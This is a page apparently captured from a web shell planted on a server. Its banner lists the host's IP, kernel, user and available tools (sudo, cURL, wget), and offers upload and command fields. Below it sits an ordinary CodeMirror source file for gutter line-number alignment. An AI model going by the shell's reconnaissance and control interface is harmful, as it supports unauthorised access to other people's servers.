403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.202
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/nodejs/codemirror/src/display/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/nodejs/codemirror/src/display/line_numbers.js
import { lineNumberFor } from "../line/utils_line.js"
import { compensateForHScroll } from "../measurement/position_measurement.js"
import { elt } from "../util/dom.js"

import { updateGutterSpace } from "./update_display.js"

// Re-align line numbers and gutter marks to compensate for
// horizontal scrolling.
export function alignHorizontally(cm) {
  let display = cm.display, view = display.view
  if (!display.alignWidgets && (!display.gutters.firstChild || !cm.options.fixedGutter)) return
  let comp = compensateForHScroll(display) - display.scroller.scrollLeft + cm.doc.scrollLeft
  let gutterW = display.gutters.offsetWidth, left = comp + "px"
  for (let i = 0; i < view.length; i++) if (!view[i].hidden) {
    if (cm.options.fixedGutter) {
      if (view[i].gutter)
        view[i].gutter.style.left = left
      if (view[i].gutterBackground)
        view[i].gutterBackground.style.left = left
    }
    let align = view[i].alignable
    if (align) for (let j = 0; j < align.length; j++)
      align[j].style.left = left
  }
  if (cm.options.fixedGutter)
    display.gutters.style.left = (comp + gutterW) + "px"
}

// Used to ensure that the line number gutter is still the right
// size for the current document size. Returns true when an update
// is needed.
export function maybeUpdateLineNumberWidth(cm) {
  if (!cm.options.lineNumbers) return false
  let doc = cm.doc, last = lineNumberFor(cm.options, doc.first + doc.size - 1), display = cm.display
  if (last.length != display.lineNumChars) {
    let test = display.measure.appendChild(elt("div", [elt("div", last)],
                                               "CodeMirror-linenumber CodeMirror-gutter-elt"))
    let innerW = test.firstChild.offsetWidth, padding = test.offsetWidth - innerW
    display.lineGutter.style.width = ""
    display.lineNumInnerWidth = Math.max(innerW, display.lineGutter.offsetWidth - padding) + 1
    display.lineNumWidth = display.lineNumInnerWidth + padding
    display.lineNumChars = display.lineNumInnerWidth ? last.length : -1
    display.lineGutter.style.width = display.lineNumWidth + "px"
    updateGutterSpace(cm.display)
    return true
  }
  return false
}

Youez - 2016 - github.com/yon3zu
LinuXploit